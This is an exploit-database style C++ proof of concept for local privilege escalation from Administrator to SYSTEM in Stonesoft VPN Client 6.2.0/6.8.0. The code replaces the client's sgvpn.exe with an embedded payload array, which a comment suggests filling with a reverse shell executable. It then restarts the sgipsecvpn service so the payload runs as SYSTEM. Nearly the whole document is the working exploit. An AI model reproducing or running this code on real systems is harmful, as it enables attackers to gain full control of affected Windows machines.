# Exploit Title: Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
# Exploit Author : TOUHAMI KASBAOUI
# Vendor Homepage : https://www.forcepoint.com/
# Software: Stonesoft VPN Windows
# Version : 6.2.0 / 6.8.0
# Tested on : Windows 10
# CVE : N/A
#Description local privilege escalation vertical from Administrator to NT AUTHORITY / SYSTEM
#define UNICODE
#define _UNICODE
#include <Windows.h>
#include <iostream>
using namespace std;
enum Result
{
unknown,
serviceManager_AccessDenied,
serviceManager_DatabaseDoesNotExist,
service_AccessDenied,
service_InvalidServiceManagerHandle,
service_InvalidServiceName,
service_DoesNotExist,
service_Exist
};
Result ServiceExists(const std::wstring& serviceName)
{
Result r = unknown;
SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);
if (manager == NULL)
{
DWORD lastError = GetLastError();
if (lastError == ERROR_ACCESS_DENIED)
return serviceManager_AccessDenied;
else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)
return serviceManager_DatabaseDoesNotExist;
else
return unknown;
}
SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);
if (service == NULL)
{
DWORD error = GetLastError();
if (error == ERROR_ACCESS_DENIED)
r = service_AccessDenied;
else if (error == ERROR_INVALID_HANDLE)
r = service_InvalidServiceManagerHandle;
else if (error == ERROR_INVALID_NAME)
r = service_InvalidServiceName;
else if (error == ERROR_SERVICE_DOES_NOT_EXIST)
r = service_DoesNotExist;
else
r = unknown;
}
else
r = service_Exist;
if (service != NULL)
CloseServiceHandle(service);
if (manager != NULL)
CloseServiceHandle(manager);
return r;
}
bool ChangeName() {
LPCWSTR parrentvpnfilename = L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn.exe";
LPCWSTR newName = L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn_old.exe";
bool success = MoveFile(parrentvpnfilename, newName);
if (success) {
cerr << "[+] SVGVPN filename changed.\n";
}
else {
cerr << "Failed to rename file \n";
}
return 0;
}
int main() {
const uint8_t shellcode[7168] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}; //You can set array bin of your reverse shell PE file here
std::wstring serviceName = L"sgipsecvpn";
Result result = ServiceExists(serviceName);
if (result == service_Exist)
std::wcout << L"The VPN service '" << serviceName << "' exists." << std::endl;
else if (result == service_DoesNotExist)
std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;
else
std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;
ChangeName();
HANDLE fileHandle = CreateFile(L"C:\\Program Files (x86)\\Forcepoint\\Stonesoft VPN Client\\sgvpn.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
cerr << "[*] Loading Malicious file into main PE of Forcepoint Installer \n";
if (fileHandle == INVALID_HANDLE_VALUE) {
cerr << "Failed to create shellcode\n";
return 1;
}
DWORD bytesWritten;
if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {
cerr << "Failed to write to file\n";
CloseHandle(fileHandle);
return 1;
}
CloseHandle(fileHandle);
cout << "[+] Payload exported to ForcePointVPN \n";
Sleep(30);
cout << "[+] Restart ForcePointVPN Service \n";
SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE serviceHandle = OpenService(scmHandle, TEXT("sgipsecvpn"), SERVICE_ALL_ACCESS);
SERVICE_STATUS serviceStatus;
QueryServiceStatus(serviceHandle, &serviceStatus);
if (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
ControlService(serviceHandle, SERVICE_CONTROL_STOP, &serviceStatus);
while (serviceStatus.dwCurrentState != SERVICE_STOPPED) {
QueryServiceStatus(serviceHandle, &serviceStatus);
Sleep(1000);
}
}
StartService(serviceHandle, NULL, NULL);
CloseServiceHandle(serviceHandle);
CloseServiceHandle(scmHandle);
return 0;
}Data
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